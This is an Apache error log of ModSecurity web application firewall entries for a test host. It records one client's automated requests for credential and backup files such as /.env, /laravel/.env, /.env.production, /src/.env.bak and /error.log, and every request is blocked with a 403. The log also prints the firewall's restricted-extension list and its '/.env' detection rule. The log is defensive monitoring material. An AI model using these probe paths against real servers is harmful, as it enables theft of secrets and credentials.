[Sun Nov 30 18:08:30.739564 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL9AAAAAAg&quot;]
[Sun Nov 30 18:08:30.739779 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL9AAAAAAg&quot;]
[Sun Nov 30 18:08:30.739986 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL9AAAAAAg&quot;]
[Sun Nov 30 18:08:30.969856 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL9AQAAAAg&quot;]
[Sun Nov 30 18:08:30.970155 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL9AQAAAAg&quot;]
[Sun Nov 30 18:08:30.970446 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL9AQAAAAg&quot;]
[Sun Nov 30 18:08:31.200141 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aSx6D11RgwzjQxTFQvL9AgAAAAg&quot;]
[Sun Nov 30 18:08:31.200375 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aSx6D11RgwzjQxTFQvL9AgAAAAg&quot;]
[Sun Nov 30 18:08:31.200591 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aSx6D11RgwzjQxTFQvL9AgAAAAg&quot;]
[Sun Nov 30 18:08:31.892022 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aSx6D11RgwzjQxTFQvL9BQAAAAg&quot;]
[Sun Nov 30 18:08:31.892348 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aSx6D11RgwzjQxTFQvL9BQAAAAg&quot;]
[Sun Nov 30 18:08:31.892556 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aSx6D11RgwzjQxTFQvL9BQAAAAg&quot;]
[Sun Nov 30 18:08:32.352544 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aSx6EF1RgwzjQxTFQvL9BwAAAAg&quot;]
[Sun Nov 30 18:08:32.352905 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aSx6EF1RgwzjQxTFQvL9BwAAAAg&quot;]
[Sun Nov 30 18:08:32.353150 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aSx6EF1RgwzjQxTFQvL9BwAAAAg&quot;]
[Sun Nov 30 18:08:32.583143 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aSx6EF1RgwzjQxTFQvL9CAAAAAg&quot;]
[Sun Nov 30 18:08:32.583363 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aSx6EF1RgwzjQxTFQvL9CAAAAAg&quot;]
[Sun Nov 30 18:08:32.583578 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aSx6EF1RgwzjQxTFQvL9CAAAAAg&quot;]
[Sun Nov 30 18:08:32.813149 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSx6EF1RgwzjQxTFQvL9CQAAAAg&quot;]
[Sun Nov 30 18:08:32.813394 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSx6EF1RgwzjQxTFQvL9CQAAAAg&quot;]
[Sun Nov 30 18:08:32.813611 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSx6EF1RgwzjQxTFQvL9CQAAAAg&quot;]
[Sun Nov 30 18:08:33.043386 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9CgAAAAg&quot;]
[Sun Nov 30 18:08:33.043606 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9CgAAAAg&quot;]
[Sun Nov 30 18:08:33.043858 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9CgAAAAg&quot;]
[Sun Nov 30 18:08:33.273301 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9CwAAAAg&quot;]
[Sun Nov 30 18:08:33.273478 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9CwAAAAg&quot;]
[Sun Nov 30 18:08:33.273684 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9CwAAAAg&quot;]
[Sun Nov 30 18:08:33.273901 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9CwAAAAg&quot;]
[Sun Nov 30 18:08:33.503951 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DAAAAAg&quot;]
[Sun Nov 30 18:08:33.504116 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aSx6EV1RgwzjQxTFQvL9DAAAAAg&quot;]
